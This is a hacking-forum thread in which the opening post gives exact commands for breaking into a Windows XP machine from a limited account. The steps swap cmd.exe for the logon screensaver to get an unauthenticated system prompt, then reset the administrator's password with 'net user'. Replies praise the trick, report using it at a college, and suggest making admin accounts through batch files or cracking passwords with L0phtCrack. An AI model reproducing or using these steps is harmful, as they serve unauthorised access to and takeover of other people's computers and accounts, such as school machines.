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GivMe\$\$\$ - November 15, 2007, 8:32 pm

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly:

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cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backup logon.scr
copy cmd.exe temphack\cmd.exe *backup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
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Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

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"net user <admin account name here> password"
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If the Administrator Account is called Frank and you want the password blah enter this

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"net user Frank blah"
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and this changes the password on franks machine to blah and your in.

Good Luk!

Echo - November 15, 2007, 10:31 pm

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GivMe\$\$\$ - November 16, 2007, 12:19 am

Echo Wrote:i cant tell u how many times ive used this...lol
good idea posting it (you beat me too it) :Psomehow this trick is useless if the admin limit the users access...:(

jumperke567 - November 16, 2007, 10:15 am

nix :p:p

vladimirzec - May 21, 2010, 1:45 pm

i like that stuff a lot...i can see I can learn a lot from you guys...:),i tried tomorrow at my college that,it passed...:)

correction...i tried yesterday sorry my english is not so good...

BluexXxKalishnikov - May 21, 2010, 1:47 pm

Nice share, it's been floating around here but rarely gets bumped.

And for those who have limited access, and can't get to CMD, try using a .bat file to open it.
I believe in some cases that forces it open?
Or just make another admin account using a .bat.

XxLegit4LifexX - June 23, 2010, 7:13 am

If you want the password to be nothing can you just leave it blank?

lookingforebaygc - June 23, 2010, 7:47 am

this is great. i only know the boot cd i used so many times. but i will try this :)

mato - July 13, 2010, 2:43 am

if you want to hack admin password try with L0phtCrack 6 it works but only in admin account, I did not find full version of this software but with this software you can hack any password of accounts on computer or block account practically you can do what you want, of course if you have full version.

sorry if i have any mistake in writing

LEGEND_XEON - July 13, 2010, 2:56 am

Good TUT.

But i think that method works only on the previous old versions of windows.

If you want to create a new file or folder inside windows folder under limited user account in new versions of windows like Windows XP SP2, SP3, Windows Vista and Windows 7; it will not work.

It would straightway say unable to create a folder/file(Access denied).

Frostbite™ - September 4, 2010, 7:41 am

Great tut thanks heaps :p

smooth_ - September 8, 2010, 8:19 am

Good, hope others find it helpful. It doesn't work at my school. :(